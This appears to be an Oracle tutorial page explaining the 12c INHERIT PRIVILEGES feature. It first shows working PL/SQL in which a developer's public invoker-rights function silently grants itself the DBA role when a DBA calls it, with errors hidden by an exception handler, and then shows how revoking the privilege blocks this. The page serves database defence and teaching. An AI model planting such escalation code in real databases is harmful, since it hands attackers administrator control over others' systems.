Oracle 8i | Oracle 9i | Oracle 10g | Oracle 11g | Oracle 12c | Miscellaneous | PL/SQL | SQL | Oracle RAC | Oracle Apps | Linux

Control Invoker Rights Privileges for PL/SQL Code in Oracle Database 12c Release 1 (12.1) (INHERIT [ANY] PRIVILEGES)

Invoker rights procedures and functions can present a security risk by allowing privilege escalation if the contents of the procedure and functions are not checked for malicious code.

Related articles.

The Problem

The following represents a scenario where a sneaky developer takes advantage of invoker rights to escalate their privileges.

Create the following users.

CONN sys@pdb1 AS SYSDBA

DROP USER sneaky_developer CASCADE;
DROP USER normal_user CASCADE;
DROP USER dba_user CASCADE;

CREATE USER sneaky_developer IDENTIFIED BY sneaky_developer;
GRANT CREATE SESSION, CREATE PROCEDURE TO sneaky_developer;

CREATE USER normal_user IDENTIFIED BY normal_user;
GRANT CREATE SESSION TO normal_user;

CREATE USER dba_user IDENTIFIED BY dba_user;
GRANT CREATE SESSION, DBA TO dba_user;

The developer creates a harmless piece of code and allows all users to execute it.

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  RETURN (p1+p2);
END;
/

GRANT EXECUTE ON add_number TO public;

Both the normal user and the DBA can run this code and get the expected result.

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

CONN dba_user/dba_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

Check the users that currently have the DBA role granted to them.

CONN sys@pdb1 AS SYSDBA

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

Once the code is in place and people are used to using it, the developer alters the code to include a grant of the DBA role. Since the original function is called from SQL, the grant needs to run as an autonomous transaction.

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE PROCEDURE make_me_a_dba AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO sneaky_developer';
EXCEPTION
  WHEN OTHERS THEN
    NULL;
END;
/

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  make_me_a_dba;
  RETURN (p1+p2);
END;
/

The presence of the exception handler means regular users can run the code without noticing a difference, even though the grant would fail.

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

When the code is run by a DBA user, who has privilege to grant the DBA role, the grant is successful.

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>


SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>


SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SNEAKY_DEVELOPER
SYS
SYSTEM

4 rows selected.

SQL>

So the user has aquired the DBA role.

Let's clean that up, so as not to confuse later examples.

REVOKE DBA FROM sneaky_developer;

INHERIT [ALL] PRIVILEGES

In an attempt to plug this security hole, Oracle Database 12c includes INHERIT [ALL] PRIVILEGES privileges.

For the sake of backwards compatibility, the following grant is performed for all new or upgraded users.

INHERIT PRIVILEGES ON USER username TO PUBLIC;

If you want to be selective about who can inherit privileges from a specific user, you can revoke it. So to protect our DBA user, we might do the following.

CONN sys@pdb1 AS SYSDBA

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM PUBLIC;

If we repeat the previous test, we see a different result.

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>


SELECT sneaky_developer.add_number(1,2) FROM dual;
SELECT sneaky_developer.add_number(1,2) FROM dual
       *
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

SQL>


SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

Not only has the privilege escalation attempt not succedded, but the resulting error was not trapped by the exception handler, so we get a clear indication that something potentially dangerous could have happened if we had not taken measure to prevent it.

ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

If there are trusted users that do need to inherit privilges from the DBA user, specific grants can be performed.

GRANT INHERIT PRIVILEGES ON USER dba_user TO trusted_user;

Following this grant, any invoker rights code owned by TRUSTED_USER can inherit privileges from DBA_USER when the code is called by DBA_USER. You can revoke this specific priviledge as follows.

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM trusted_user;

Note. The SYS user has INHERIT ANY PRIVILEGES, so even if you revoke the public grant, all invoker rights code called by SYS will still function correctly.

For more information see:

Hope this helps. Regards Tim...

Back to the Top.